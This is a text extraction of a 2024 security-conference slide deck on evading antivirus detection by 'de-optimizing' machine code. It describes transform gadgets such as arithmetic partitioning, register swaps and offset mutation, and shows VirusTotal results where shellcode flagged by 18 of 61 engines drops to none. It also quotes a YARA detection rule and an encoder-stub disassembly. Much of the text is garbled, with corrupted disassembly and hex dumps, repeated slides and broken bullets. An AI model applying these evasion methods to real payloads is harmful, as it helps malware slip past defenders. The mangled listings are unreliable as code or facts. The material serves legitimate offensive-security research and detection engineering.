Evasion by De-Optimization

Ege BALCI - 2024

~# whoami

- EGE BALCI Security Researcher
- Threat Intelligence Division Manager @ PRODAFT
- Author of multiple A.V. evasion projects



<u>@egeblc</u>

github.com/EgeBalci

infosec.exchange/@ege

linkedin.com/in/egebalci



~# whoami

- EGE BALCI Security Researcher
- Threat Intelligence Division Manager @ PRODAFT
- Author of multiple A.V. evasion projects



<u>@egeblc</u>

github.com/EgeBalci

infosec.exchange/@ege

linkedin.com/in/egebalci



SGN is a polymorphic binary encoder for offensive security purposes such as generating statically undetecable binary payloads. It uses a additive feedback loop to encode given binary instructions similar to <u>LSFR</u>. This project is the reimplementation of the <u>original Shikata qa nai</u> in golang with many improvements.

~# What is the challenge?



<u>~# How A.V. Detects Malware?</u>

- Known Hash Values •
 - Crypto Hashes (MD5,SHA...)
 - Vhash
 - SSDEEP
 - Imphash
 - Authentihash
- Code/Data Patterns •
 - Yara
 - Snort
 - Suricata
 - Zeek
- Heuristic Patterns •
 - File format integrity
 - Abnormal entrophy
 - Imported libraries/functions Behavioral Patterns
- - File read/write ops. Registery read/write ops.
 - Network traffic

 - Memory contents Function/system calls
- AI Engines •

 - ML classifiers Similarity Detection



*# Rule Based Detection





*# Code Encoding





SGN is a polymorphic binary encoder for offensive security purposes such as generating statically undetecable binary payloads. It uses a additive feedback loop to encode given binary instructions similar to <u>LSFR</u>. This project is the reimplementation of the <u>original Shikata ga nai</u> in golang with many improvements.

📄 🧐 🔳 🔿 💵	🕈 🐟 🛬 -	🍹 🛊 🦗 🚺	🥖 🗏 🏈	🪀 <u>f</u> x # A	• 🔝 📃 👮			
🖾 CPU 🛛 🍨 Graph	📝 Log	🖺 Notes 🛛 📍 Br	eakpoints	Memory Map	Call Stack	🧠 SEH	o Script	🐏 Symbols
RIP	0000	7FF756051000	YrEB 1E		imp notepad.7	FF7560510	020	
		FF756051002 FF756051002 FF756051002 FF756051006 FF756051006 FF756051006 FF756051008 FF756051018 FF756051018 FF756051028 FF756051029 FF756051028 FF756051028 FF756051028 FF756051028 FF756051028 FF756051028 FF756051028	FB 1E 58 48:31C9 8A 12000 48:3901 74 15 8030 55 48:FFC0 48:	000 FFF	jmp notepad. , yop rax yop rax, rcx, rcx, mov edx, 12 cmp rcx, rdx dc byte pdd. 74 Xor byte ptr Xor byte ptr there rcx imp notepad. 74 imp notepad. 74 imp notepad. 74 sub al. 22 sub al. 22 sub al. 22 sub al. 22 sub al. 22 sub al. 28 and byte ptr sub esp, dword	FF7560510 ds:[rax] ds:[rax] ds:[rax], ds:[rax], FF7560510 7FF7560510 7FF7560510 tr ds:[rbx], l ptr ds:[rbx], l ptr ds:[rbx],	25 11 55 008 002 x] ,ch [rsi]	
	<							
notepad.00007FF75	6051020							
			-					
.text:00007FF756051000 notepad.exe:\$1000 #400								
💷 Dump 1 🛛 💷 Du	mp 2 🛛 💷 Dum	p 3 🛛 💷 Dump 4	💷 Dump	5 🛛 👹 Watch 1	[x=] Locals	Struct		
Address	Hex				ASCII			
00007FF756051005 00007FF756051015 00007FF756051025 00007FF756051035 00007FF756051045 00007FF756051055	C9 BA 12 00 80 30 55 48 2A 39 2C 22 23 20 00 00 00 00 00 00 00 00 00 00	00 00 48 39 D1 FF C0 48 FF C1 2C 2D 24 2B 67 00 00 00 00 00 00 00 00 00 00	74 15 80 3 EB EB E8 D 36 2F 20 2 00 00 00 0 00 00 00 0	0 11 FE 08 D FF FF FF B 2B 26 2A 0 00 00 00 0 00 00 00 0 00 00 00	ɰH9Ňt0 .0UHÿÀHÿÅēēèÝj *9,",-\$+g6/ + #	.þ. ÿÿÿ +&*		

∿# Code Entropy

. dinta : 00405003 . dinta : 00405003 . dinta : 00405006 . dinta : 00405006 . dinta : 00405009 . dinta : 00405009	cmpsd jecxz sub inc dec	short near ptr loc_4030CA+1 ebx, [eax] esi esi
 Althen 10040000000 althen 1004000000 althen 004000000 althen 0040000000	fimul scasd and daa mov and fdivr pop imul jns dec sub push test mov db popf add cmc cmp cmp	<pre>; CODE XREF: .data:004030C4+j word ptr [edi-0Ah] [eax=56h], dh cl, 0EAh [edi=265F7DDBh], esi qword ptr [eax] ebx ebp, [eax-19h], 0D6438E9Ch short loc_403109 edx edx, 0D1ED5790h ss al, 0A3h esi, 2D57C16Ch 3Eh ecx, 60h ; ''' dl, 71h ; 'q' [ecx+7Eb], ah ecx dword ptr [ecx], 0E94AB1D5h</pre>
 .dtts:00403100 .dtts:00403100 .dtts:00403100 .dtts:00403100 .dtts:00403100 .dtts:00403104 .dtts:00403104 .dtts:00403104 .dtts:00403118 .dtts:00403118 .dtts:00403118 .dtts:00403121 .dtts:00403121 .dtts:00403123	and mov aad mov dec xchg xchg mov db 0FEh db 34h db 5Bh db 1Fh db 92h	; CODE XREF: .data:004030E4+j byte ptr [ebx+52h], 0C6h OE9h dl, O27h eax eax, ecx eax, ecx eax, 6F9B75D9h h ; 4



∼# RWE Memory

Constant/value	Description				~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PAGE_EXECUTE 0x10	Enables execute access to the committed region of pages. An results in an access violation. This flag is not supported by the CreateFileMapping function	n attempt to write to the comr n.	nitted region		C F
PAGE_EXECUTE_READ 0x20	Enables execute or read-only access to the committed region committed region results in an access violation. Windows Server 2003 and Windows XP: This attribute is no function until Windows XP with SP2 and Windows Server 200	n of pages. An attempt to write t supported by the CreateFile? 33 with SP1.	e to the Mapping		PAGE_EXECUT
PAGE_EXECUTE_READWRITE 0x40	Enables execute, read-only, or read/write access to the comm Windows Server 2003 and Windows XP: This attribute is no	nitted region of pages. t supported by the CreateFile!	Napping		
PAGE_EXECUTE_WRITECOPY 0x80	Enables execute, read-only, or copy-on-write access to a m attempt to write to a committed copy-on-write page result for the process. The private page is marked as PAGE_EXECU to the new page. This flag is not supported by the VirtualAlloc or VirtualAlloc Server 2003 and Windows XP: This attribute is not support Windows Vista with SP1 and Windows Server 2008.	00200000 000010 00280000 0000300 00390000 0000800 00390000 0000800 00400000 0000800 00401000 0000300 00404000 0000200 00404000 0000200 00404000 0000200 00404000 0000200 00412000 0000200 00412000 0000200	00 00 00 00 00 00 00 00 00 00 00 00 00	.text .rdata .data .rsrc gjrlfbo	PE header SFX,code data,imports,exports resources
PAGE_NOACCESS 0x01	Disables all access to the committed region of pages. An at committed region results in an access violation. This flag is not supported by the CreateFileMapping functi	004E0000 0000300 004F0000 0010100 00600000 0002900 01260000 000000 0139D000 0000200 0139F000 0000100 6BE40000 0000100 6BE40000 0000100		Imp - 003A 200 83 3C 210 00 00 220 81 E9 230 00 00 230 00 00 240 C4 04	0000003A7FFF 24 FE 77 FE 8D 64 24 CC 00 4B 66 4B 0F 85 F8 FF FD FF FF 7F 0F 83 E7 FF 0F 81 DB FF FF FF 84 0F 81 44 24 FC 80 88 06



ows Server 2	00200000	00001000					Priv	00021004	RŴ		ŔŴ
	00280000 0	10003000					Priv	00021004	RW		RW
access to a m	00290000 0	3001D000					Priv	00021004	RW		RW
e page result	00390000 0	10008000					Map	00041008	RW	CopyOnWr	RW
PAGE EXECU	00300000	20001000	auahan i		PE handen		Inap	01001000	RWE		SME
-	00400000 0	20002000	avznan_t auzban_i	tout	SEX code		Imag	01001002	18		AME SME
or Virtual Alle	00404000 0	10002000	avzhan i	.rdata	data.import	s.exports	Imag	01001002	R		RIJE
	00406000	00000000	avzhan_i	.data			Imag	01001002	R		RWE
s not support	00412000 0	3000B000	avzhan_i	.rsrc	resources		Imag	01001002	R	1	RWE
2008.	0041D000 0	30001000	avzhan_i	gjrlfbo			Imag	01001002	B		RWE
	00420000 0	30002000					L Mon	00041002			<u> </u>
	004E0000 0	30003000		00240	000 000 4755	-					
pages. An at	004600000	00101000	Dur Dur	np - 003Al	1000003A/FF	F					
n.	01260000		0038000	20183-3C ;	24 FE 77 FE 3	BD 64 24 CC	60 83 EC	DC E8 D8	f-=\$tw	tŤd\$Ē`≁	
pping functi	01390000 0	0002000	003A00	10 00 00 1	00 4B 66 4B I	0F 85 F8 FF	FF FF FF	73 3C 59	KfK*	ã° s<Ÿ ′	
	0139F000 0	30001000	003A002	20 81 E9	FD FF FF 7F	0F 83 E7 FF	FF FF 81	D9 E6 13	üÛř_ ∆ *	āš ü⊢S‼	
	6BE40000 0	30001000	M 003A003	30 00 00 1	ØF 81 DB FF	FF FF FF B4	19 E4 13	00 80 83		"H¥n‼.Çā —	
	6BE41000 0	100F9000	M 003H004	40 04 04 0 50 15 70 5	55 81 44 24 79 D4 59 00	FC 80 8H 0F	85 C4 FF	FF FF 68	T=۠uU\$R3	%∥&a− h ∺+≿D6_9	
	68F3H000 0	20008000	003000		89 44 24 34	83 FS 04 0F	92 45 00	00 00 64	antas	.etsDR=0 Ď≜vsdF d	
	68F4D000 0	20005000	003000	70 01 18 0	ăă ăă ăă 85 i	C0 0F 88 08	00 00 00	88 40 34	it84	×/0ö@4	

~# RWE Is Not Ok!



- Indicates dynamic code
 Useless when ACG enabled
 Very uncommon

~# RWE Is Not Ok!



Indicates dynamic code
 Useless when ACG enabled
 Very uncommon

Arbitrary code guard

Description

Arbitrary code guard helps protect against a malicious attack memory safety vulnerability and being able to execute that c

Arbitrary code guard protects an application from executing example, from the exe itself or a dll). Arbitrary code guard we executable. When an application attempts to allocate memor with read, write, and/or execute protection flags.) If the allocation the memory allocation fails and returns an error code (STATL attempts to change the protection flags of memory that has flag, then the permission change fails and returns an error co

By preventing the execute flag from being set, the data execute can then protect against the instruction pointer being set to

mitigationpolicy.e	xe (6360) Properties	-	
meral Statistics P	erformance Threads Token Modules Memory Environment Handles		
File N/A (UNVERIF Version: N/A	1ED)		
\\VBoxSvr\Experir	nents\mitigationpolicy\x64\Debug\mitigationpolicy.exe		
Command line:	"\\VBOXSVR\Experiments\mitigationpolicy\x64\Debug\mitigationpolicy.exe"		
Current directory:	\/vboxsvr\Experiments\mitigationpolicy\mitigationpolicy\		
Started:	19 seconds ago (12:51:27 PM 2/15/2020)		
PEB address:	0x6ace631000	Imay	ge type: 64-b
Parent:	msvsmon.exe (8304)		
Mitigation policies:	DEP (permanent); ASLR (high entropy); Dynamic code prohibited; signatures restricted (Microsoft only)		Details
			And a state of the

~# RWE Is Not Ok!



- Indicates dynamic code
 Useless when ACG enabled
 Very uncommon



~# Memory Scanners

따 README - M BSD-2-Clause license	
PE-SIEVE	
O build passing C code quality A commit activity 54/month last commit february	
release v0.3.9 release date february downloads 219k downloads@latest 1.5k	
License BSD 2-Clause Windows Ask me anything	
XTweet	
Intro	
PE-sieve is a tool that helps to detect malware running on the system, as well as to collect the potentially malicious material for further analysis. Recognizes and dumps variety of implants within the scanned pr replaced/injected PEs, shellcodes, hooks, and other in-memory patches. Detects inline hooks, Process Hollowing, Process Doppelgänging, Reflective DLL Injection, etc.	y ocess:
PE-sieve is meant to be a light-weight engine dedicated to scan a single process at the time. It can be as an EXE or as a DLL. The DLL version exposes <u>a simple API</u> and can be easily integrated with other applications.	built

따 README 책 GPL-3.0 license	P
· · · · · · · · · · · · · · · · · · ·	
Moneta v1.0 Forrest Orr 2020	
REQUIRED	
-m {* region referenced ioc} -p {* PID}	
OPTIONAL	
-v {detail debug surface} -d option {from-base statistics} filter {unsigned-module clr-prvx clr-heap metadata-modules} address <memory address=""></memory>	
region-size <memory region="" size=""></memory>	

~# Memory Scanners

C:\Users \Desktop>Moneta64.exe -p -m ioc	
Moneta v1.0 Forrest Orr 2020	
cmd.exe : 12256 : x64 : C:\Windows\System32\cmd.exe 0x0000000180000000:0x00067000 Private 0x0000000180000000:0x00067000 RWX 0x00000000 Abnormal private executable memory 0x0000027426000000:0x0004e000 Private 0x0000027426000000:0x0004e000 RWX 0x00000000 Abnormal private executable memory	
scan completed (0.625000 second duration)	
C:\Users' \Desktop>	

∼# Memory Scanners



∼# The Challenge

We need a way of obfuscating <u>binary</u> code without creating other suspicious indicators.

∼# Prior Work

Binary Obfuscators:

- <u>https://github.com/zeroSteiner/crimson-forge</u>
 - Shuffling
 - Alterations
 - Re-ordering
- <u>https://github.com/weak1337/Alcatraz</u>
 - Obfuscation of immediate moves
 - Control flow flattening
 - ADD mutation
 - LEA obfuscation
 - Import obfuscation
 - Anti disassembly



∼# Prior Work

Lea obfuscation

The lea obfuscation is quite simple yet effective. We move a different location into the register and decrypt it afterwards. This way, reverse engineers can't cross reference certain data / functions. Let's say we find the following instruction: lea rcx, [0xDEAD] We will mutate it to:

ιŪ

```
pushf
lea rcx, [1CE54]
sub rcx, EFA7
popf
rcx -> 0xDEAD
```

∼# Prior Work

O Alc	atraz_LEA_Transform.yar	Raw
1	<pre>rule Alcatraz_LEA_Transform {</pre>	
2	strings:	
3	// pushf > 66 9c	
4	// lea ?, [?] > 48 8d ?? ?? ?? ?? ??	
5	// sub ?, ? > 48 81 ?? ?? ?? ?? ??	
6	// popf > 66 9d	
7	<pre>\$lea_transform = { 66 9c 48 8d ?? ?? ?? ?? 48 81 ?? ?? ?? ?? 66 9d }</pre>	
8	condition:	
9)	<pre>\$lea_transform</pre>	
10	}	

∿# Prior Work

O Alc	atraz_LEA_Transform.yar	Raw
1	rule Alcatraz_LEA_Transform {	
2	strings:	
3	// pushf > 66 9c	
4	// lea ?, [?] > 48 8d ?? ?? ?? ?? ??	
5	// sub ?, ? > 48 81 ?? ?? ?? ?? ??	
6	// popf > 66 9d	
7	<pre>\$lea_transform = { 66 9c 48 8d ?? ?? ?? ?? 48 81 ?? ?? ?? ?? 66 9d }</pre>	
8	condition:	
9	\$lea_transform	
10	}	

You can only search <u>sequences</u> not operands.

☆# The Challenge

We need a way of obfuscating <u>binary</u> code without creating other suspicious indicators.

<u>GOALS</u>

- No self-modifying code! (no RWE)
- Produce <u>common instruction sequences</u>
- Make it look like compiler generated
- Include most instruction types
- Keep the enthropy low

*# The Solution





```
int sum = 0;
for (int i = 1; i <= n; i++) {
    if (i % 2 == 0) {
        sum += i;
    }
}
```

add al,10h -----> \x04\x10 add al,10h -----> \x80\xC0\x10

adc al,0DCh -----> \x14\xDC adc al,0DCh -----> \x80\xD0\xDC

sub al,0A0h -----> \x2C\xA0
sub al,0A0h -----> \x80\xE8\xA0

sub eax,19930520h -----> \x2D\x20\x05\x93\x19 sub eax,19930520h -----> \x81\xE8\x20\x05\x93\x19

sbb al,0Ch -----> \x1C\x0C
sbb al,0Ch -----> \x80\xD8\x0C

sbb rax,221133h -----> \x48\x1D\x33\x11\x22\x00
sbb rax,221133h -----> \x48\x81\xD8\x33\x11\x22\x00

~# How Compiler Optimize Code?





int sum = 0;
for (int i = 1; i <= n; i++) {
 if (i % 2 == 0) {
 sum += i;
 }
}
$$- \frac{1}{4} (2n + 1)^2 - \frac{1}{4} (2n + 1)$$

$$n(n+1)$$

~# Code De-Optimization

sum = (n / 2) * (n / 2 + 1);

$$n(n+1)$$
int sum = 0;
for (int i = 1; i <= n; i++) {
if (i % 2 == 0) {
sum += i;
}

$$-\frac{1}{4}(2n+1)^2 - \frac{1}{4}$$

```
int sum = 0;
for (int i = 1; i <= n; i++) {
    if (i % 2 == 0) {
        sum += i;
    }
}
```

0x00000000000119f	<+70>:	mov	DWORD PTR [rbp-0x10],0x0	0x0000000000011a2 <+73>:	mov	edx,eax
0x00000000000011a6	<+77>:	mov	DWORD PTR [rbp-0xc],0x1	0x0000000000011a4 <+75>:	shr	edx,0x1f
0x00000000000011ad	<+84>:	jmp	0x11c3 <main+106></main+106>	0x0000000000011a7 <+78>:	add	eax,edx
0x00000000000011af	<+86>:	mov	eax,DWORD PTR [rbp-0xc]	0x0000000000011a9 <+80>:	sar	eax,1
0x00000000000011b2	<+89>:	and	eax,0x1	0x00000000011ab <+82>:	mov	ecx,eax
0x00000000000011b5	<+92>:	test		0x0000000000011ad <+84>:	mo∨	eax,DWORD PTR [rbp-0x10]
0x00000000000011b7	<+94>:	jne	0x11bf <main+102></main+102>	0x0000000000011b0 <+87>:	mo∨	edx,eax
0x00000000000011b9	<+96>:	mov	<pre>eax,DWORD PTR [rbp-0xc]</pre>	0x0000000000011b2 <+89>:	shr	edx,0x1f
0x00000000000011bc	<+99>:	add	DWORD PTR [rbp-0x10],eax	0x0000000000011b5 <+92>:	add	eax,edx
0x00000000000011bf	<+102>:	add	DWORD PTR [rbp-0xc],0x1	0x0000000000011b7 <+94>:	sar	eax,1
0x00000000000011c3	<+106>:	mov	eax,DWORD PTR [rbp-0x14]	0x0000000000011b9 <+96>:	add	eax,0x1
0x00000000000011c6	<+109>:	стр	DWORD PTR [rbp-0xc],eax	0x0000000000011bc <+99>:	imul	eax,ecx
0x00000000000011c9	<+112>:	jle	0x11af <main+86></main+86>	0x000000000 00011bf <+102>:	mov	DWORD PTR [rbp-0xc],eax
0x00000000000011cb	<+114>:	mov	<pre>eax,DWORD PTR [rbp-0x14]</pre>	0x00000000000011c2 <+105>:	mo∨	eax,DWORD PTR [rbp-0x10]
0x00000000000011ce	<+117>:	mov	<pre>edx,DWORD PTR [rbp-0x10]</pre>	0x0000000000011c5 <+108>:	mo∨	edx,DWORD PTR [rbp-0xc]
0x0000000000011d1	<+120>:	mov		0x0000000000011c8 <+111>:	mov	
0x0000000000011d3	<+122>:	lea	rax,[rip+0xe46]	0x0000000000011ca <+113>:	lea	rax,[rip+0xe4f]
0x00000000000011da	<+129>:	mov		0x0000000000011d1 <+120>:	mov	
0x00000000000011dd	<+132>:	mov	eax,0x0	0x0000000000011d4 <+123>:	mov	eax,0x0

*# Expressing Individual Instructions



• • •

*# Expressing Individual Instructions



Current x86-64 design contains <mark>981</mark> unique Mnemonics.

*# Expressing Individual Instructions

MOY	PUSH	POP	LEA	
CMP	SUB	SBB		
ADD	ADC			
IMUL	MUL			*
IDIV	DIV			
TEST	AND			8
OR –				
XOR -				
SHL -				
SHR <mark>-</mark>				
NOT <mark>-</mark>				

INSTRUCTION SET REFERENCE, A-Z

intel.

VSM3RNDS2—Perform Two Rounds of SM3 Operation

Opcode/ Instruction	Op/ En	64/32 bit Mode Support	CPUID Feature Flag	Description
VEX.128.66.0F3A.W0 DE /r /ib VSM3RNDS2 xmm1, xmm2, xmm3/m128, imm8	A	V/V	AVX SM3	Performs two rounds of SM3 operation using the initial SM3 states from xmm1 and xmm2, and pre-computed words from xmm3/m128, storing the result in xmm1.

Current x86-64 design contains <mark>981</mark> unique Mnemonics.



*# Instruction Frequency Statistics

1. %33.5 MOV

- 2. %9.2 JCC (All conditional jumps)
- 3. %6.4 CALL
- 4. %5.5 LEA
- 5. %4.9 CMP
- 6. %3.9 ADD
- 7. %3.7 TEST
- 8. %3.5 JMP
- 9. %3.3 PUSH
- 10. %3.0 POP
- 11. %2.7 NOP
- 12. %2.2 XOR
- 13. %1.7 SUB
- 14. %1.5 INT3
- 15. %1.1 MOVZX
- 16. %1.0 AND
- 17. %1.0 RET
- 18. %0.6 SHL
- 19. %0.5 OR
- 20. %0.5 SHR
- %11.3 <OTHER>

Based on ~300GB executable section sample pool. ~%95 transform gadget coverage.

Check below for similar instruction frequency studies on x86 instruction set.





Transform Gadgets

- Arithmetic Partitioning
- Logical Inverse
- Logical Partitioning
- Offset Mutation
- Register Swap

These transform gadgets are spesifically crafted for producing instructions that look like compiler generated <u>sub-optimal</u> code.

*# Arithmetic Partitioning

In number theory and combinatorics, a partition of a non-negative integer n, also called an integer partition, is a way of writing n as a sum of positive integers. Two sums that differ only in the order of their summands are considered the same partition.

$ADD EAX, 0 \times 10 = (X + 16)$

*# Arithmetic Partitioning

In number theory and combinatorics, a partition of a non-negative integer n, also called an integer partition, is a way of writing n as a sum of positive integers. Two sums that differ only in the order of their summands are considered the same partition.

ADD EAX, $0 \times 10 = (X + 16)$ (X+5-4+2+13) = (X + 16)

*# Arithmetic Partitioning

Targets:

All arithmetic instructions with immediate operands.

GUIDE:

1)Randomize immediate value 2)Fix the immediate value with random arihmetic instruction

FREQUENCY: ~%38



~# Logical Inverse

In logic, an inverse is a type of conditional sentence which is an immediate inference made from another conditional sentence. Given a conditional sentence of the form $P \rightarrow Q$, the inverse refers to the sentence – $P \rightarrow -Q$.

$XOR R10, O \times 10 = (X ^ 16)$

☆# Logical Inverse

In logic, an inverse is a type of conditional sentence which is an immediate inference made from another conditional sentence. Given a conditional sentence of the form $P \rightarrow Q$, the inverse refers to the sentence – $P \rightarrow -Q$.

XOR R10, $0 \times 10 = (X ^ 16)$

☆# Logical Inverse

In logic, an inverse is a type of conditional sentence which is an immediate inference made from another conditional sentence. Given a conditional sentence of the form $P \rightarrow Q$, the inverse refers to the sentence – $P \rightarrow -Q$.

XOR R10, $0 \times 10 = (X ^ 16)$ (X ^ 16) = (X' ^ 16) = (X' ^ -16)

*# Logical Inverse

Targets:

Some logical instructions. (AND/OR/XOR)

GUIDE:

1) Take the inverse of the first operand 2) Take the inverse of the second operand

FREQUENCY: *%10 - *%28 (depending on the third NOT op.)

EXAMPLES:



*# Logical Partitioning

Targets:

Some logical instructions. (SHR/SHL/ROL/ROR...)

GUIDE:

1)When shifting: 1)Divide the immediate value into 2 2)Shift twice with the new value 2)When Rolling: 1)Add x times the size of the first operand to roll value



SHL QWORD PTR [ECX], 0×20 SHL QWORD PTR [ECX]; 0×10 SHL QWORD PTR [ECX];

∿# Offset Mutation



∿# Offset Mutation

Targets:

All instructions with a memory operand.

GUIDE:

1)Randomize the memory displacement offset 2)Fix the base register with a random arithmetic operation 1)Restore the base register value depending on the target operand

FREQUENCY: ~%100

EXAMPLES:



☆# Register Swap

Targets:

All instructions with register operand.

GUIDE:

1)Chose a random register operand 2)Swap register with a same size different register using XCHG 3)Modify the original instruction with new register 4)Swap the register value back using same XCHG instruction



*# Memory Realignment



>	0x00001b00	488d3d892500.	lea rdī, objTMC_END; 0×4090
		488d35822500.	lea rsi, objTMC_END; 0x4090
		4829fe	sub rsi, rdi
		<mark>48</mark> 89f0	mov rax, rsi
		48clee3f	shr rsi, 0x3f
		<mark>48</mark> c1f803	
		<mark>48</mark> 01c6	add rsi, rax
		48d1fe	
· · · · ·		7414	je 0x1b38
		488b05ad2400.	<pre>mov rax, qword [relocITM_registerTMCloneTable] ; [0x3fd8:8]=0</pre>
		<mark>48</mark> 85c0	test rax, rax
<		7408	je 0x1b38
		ffe0	jmp rax
		660f1f440000	nop word [rax + rax]
		c3	
		0f1f80000000.	nop dword [rax]
	; entry.fini0		
	;do_global	_dtors_aux:	
		f30f1efa	endbr64
		803d9d250000.	<pre>cmp byte [obj.completed.0], 0 ; [0x40e8:1]=0</pre>
<		7533	jne 0x1b80
			push rbp
		48833d8a2400.	<pre>cmp qword [reloccxa_finalize], 0 ; [0x3fe0:8]=0</pre>
		<mark>48</mark> 89e5	mov rbp, rsp
<u> </u>		740d	je 0x1b68
		488b3d1e2500.	<pre>mov rdi, qword [objdso_handle] ; [0x4080:8]=0x4080 objdso_handle</pre>
		ff1578240000	call qword [reloccxa_finalize] ; [0x3fe0:8]=0
>		e863ffffff	<pre>call sym.deregister_tm_clones</pre>
		c60574250000.	<pre>mov byte [obj.completed.0], 1 ; [0x40e8:1]=0</pre>
	0x00001b74	5d	pop rbp
	0x00001b75	c3	
	0x00001b76	662e0f1f8400.	nop word cs:[rax + rax]
>	0x00001b80	c3	
	0x00001b81	66662e0f1f84.	nop word cs:[rax + rax]
	0x00001b8c	0f1f <mark>40</mark> 00	nop dword [rax]
	; entry.init0		
	; frame_dummy		
	0x00001b90	f30f1efa	endbr64
<	0x00001b94	e967ffffff	jmp sym.register_tm_clones

*# Memory Realignment



Demo Time!





*# Detection Rates

18	① 18/61 security vendors and no sandboxes flagged this file as malicious		C Reanalyze \Rightarrow Similar \lor More \checkmark
Community Score	6df42c0478296ad2d702233ad6f84914e09a8aba738873af121819b906a6322b shellcode		Size Last Modification Date 510 B a moment ago
DETECTION DETA	ILS TELEMETRY COMMUNITY		
Join the VT Community	and enjoy additional community insights and crowdsourced detections, plus an API	key to automate checks.	
Popular threat label 🕐	trojan.shellcode/marte Threat categories trojan		Family labels shellcode marte back
Security vendors' analysi	s ①		Do you want to automate checks?
ALYac	Generic.ShellCode.Marte.4.58EBEC81	Arcabit	Generic.ShellCode.Marte.4.58EBEC81
Avast	() Win32:MsfShell-U [Hack]	AVG	() Win32:MsfShell-U [Hack]
BitDefender	Generic.ShellCode.Marte.4.58EBEC81	Emsisoft	Generic.ShellCode.Marte.4.58EBEC81 (B)
eScan	Generic.ShellCode.Marte.4.58EBEC81	ESET-NOD32	① Win32/Rozena.BRG
SData	Generic.ShellCode.Marte.4.58EBEC81	Google	① Detected
Caspersky	HEUR:Trojan.Win32.Generic	MAX	① Malware (ai Score=85)
licrosoft	Trojan:Script/Phonzy.B!ml	Rising	Trojan.ShellCode!1.F671 (CLASSIC)
Sophos	① ATK/Shellcode-A	Trellix (FireEye)	Generic.ShellCode.Marte.4.58EBEC81
/IPRE	Generic.ShellCode.Marte.4.58EBEC81	ZoneAlarm by Check Point	HEUR:Trojan.Win32.Generic
Acronis (Static ML)	O Undetected	AhnLab-V3	⊘ Undetected
Antiy-AVL	O Undetected	Avira (no cloud)	⊘ Undetected
Baidu	Undetected	BitDefenderTheta	O Undetected
Bkav Pro	O Undetected	ClamAV	⊘ Undetected
СМС	O Undetected	CrowdStrike Falcon	⊘ Undetected

\bigcirc	⊘ No security vendors and no sandboxes flagged this file	as malicious		C Reanalyze \Rightarrow Similar \lor More \lor
/61 Community Score ♥	8c25fe33e14e28bec2cd6ed354c3601141cc1fdd1c058790e2ec shellcode-deopt.bin	Ja98dcfd31aa		Size Last Modification Date 1.08 KB a moment ago
DETECTION DET/	AILS TELEMETRY COMMUNITY			
Join the VT Community	and enjoy additional community insights and crowdsourced de	tections, plus an API key to <u>automate checks.</u>		
Security vendors' analys	iis 💮			Do you want to automate checks?
Acronis (Static ML)	⊘ Undetected	AhnLab-V3	⊘ Undetected	
ALYac	⊘ Undetected	Antiy-AVL	⊘ Undetected	
Arcabit	⊘ Undetected	Avast	⊘ Undetected	
AVG	O Undetected	Avira (no cloud)	Undetected	
Baidu	⊘ Undetected	BitDefender	⊘ Undetected	
BitDefenderTheta	⊘ Undetected	Bkav Pro	Undetected	
ClamAV	⊘ Undetected	СМС	⊘ Undetected	
CrowdStrike Falcon	⊘ Undetected	Cynet	Undetected	
DrWeb	⊘ Undetected	Emsisoft	Undetected	
eScan	⊘ Undetected	ESET-NOD32	⊘ Undetected	
Fortinet	⊘ Undetected	GData	Undetected	
Google	⊘ Undetected	Gridinsoft (no cloud)	⊘ Undetected	
lkarus	⊘ Undetected	Jiangmin	Undetected	
K7AntiVirus	Undetected	K7GW	 Undetected 	

- Scope
- Self-Modifing Code
- Code With Data
- Overlapping Instructions

Scope

- Self-Modifying Code
- Code With Data
- Overlapping Instructions

INSTRUCTIONS WITH 0 OPERANDS

CLD—Clear Direction Flag										
Opcode	Instruction	Op/ En	64-bit Mode	Compat/ Leg Mode	Description					
FC	CLD	ZO	Valid	Valid	Clear DF flag.					
			-							
		Instructio	n Operan	d Encoding						
Op/En	Operand 1	Operand i	and 2 Oper		and 3	Operand 4				
ZO	N/A	N/A		N	I/A	N/A				

Ν	IOP—No Operatio	n										
0	Opcode	Instruc	tion		Op/ En	64-l Mod	Bit le	Con	npat/ Mode	Descrip	tion	
	SYSCALL—Fast System Call											
	Opcode	Inst	ruction			Ob/	64	-Bit	Co	mpat/		escripti)
SYSENTER—Fast System Call												
0	Opcode li	nstructio	n	Op/	64	-Bit	0	Compat	/ Des	criptior	۱	
CLD—Clear Direction Flag												
	Opcode	In	struction				0o/	64-t	oit	Comp	at/	Descrit
AAA—ASCII Adjust After Addition												
	Opcode		Instruction					Op/	64-bi	t	Con	npat/
F	USHF/PUSHF	D/PUS	SHFQ—Pu	ish 6	FL	AGS	S R	egist	er Or	nto tl	he S	Stack
	Opcode	In	struction				0p/	64-E	Bit	Com	oat/	Descr
	POPF/POPFD/POPFQ—Pop Stack Into EFLAGS Register											
	Opcode		Instruction					Op/ En	64-B Mode	it	Con	npat/ Mode
	9D		POPF					Z0	Valid		Vali	id
	9D		POPFD					ZO	N.E.		Vali	id
	9D		POPFQ					ZO	Valid		N.E.	

- Scope
- Self-modifing Code
 Code With Data
- Overlapping Instructions

🗀 河 🔳 🔿 🖩 🦿 🐼 🛬 🎍	🛊 🔩 🛐 🥜 😓 🛷 🥒 fx 🛛 # 1	Az 🔝 📓 👮
🖾 CPU 🍨 Graph 📝 Log 📋	Notes • Breakpoints • Memory Map	🗐 Call Stack 🛛 😨 SEH 🛛 🖸 Script 🛛 🎴 Symbols
RIP 00007FF	756051000 V EB 1E 756051002 58	jmp notepad.7FF756051020 pop rax
00007FF	756051003 48:31C9	xor rcx,rcx
→ 00007FF	756051008 48:39D1	cmp_rcx,rdx
00007FF	75605100E × 74 15 756051010 8030 11	je notepad.7FF756051025
• 00007FF	756051013 FE08	dec byte ptr ds:[rax]
00007FF	756051015 8030 55 756051018 48•5500	xor byte ptr ds:[rax],55
• 00007FF	75605101B 48:FFC1	inc rcx
00007FF	75605101E ^ EB EB	jmp notepad.7FF756051008
→● 00007FF	756051025 2A39	sub bh, byte ptr ds:[rcx]
00007FF	756051027 2C 22 756051029 2C 2D	sub al.20
• 00007FF	75605102B 24 2B	and al,2B
00007FF	75605102D 67	222
• 00007FF	75605102F 2F	2772
00007FF 00007FF 00007FF	756051030 2028 756051032 2826	and byte ptr ds:[rbx],ch sub esp.dword ptr ds:[rsi]
• 0000ZEE	756051034 2423	sub ab byte ntr ds [rbv]
s		
Nocepad. 00007FF756051020		
text:00007EE7560E1000 potenad e	ve:\$1000 #400	
Dump 1 Dump 2 Dump 3	🔛 Dump 4 🔛 Dump 5 💮 Watch	1 [x=] Locals 2 Struct
Address Hex		ASCII
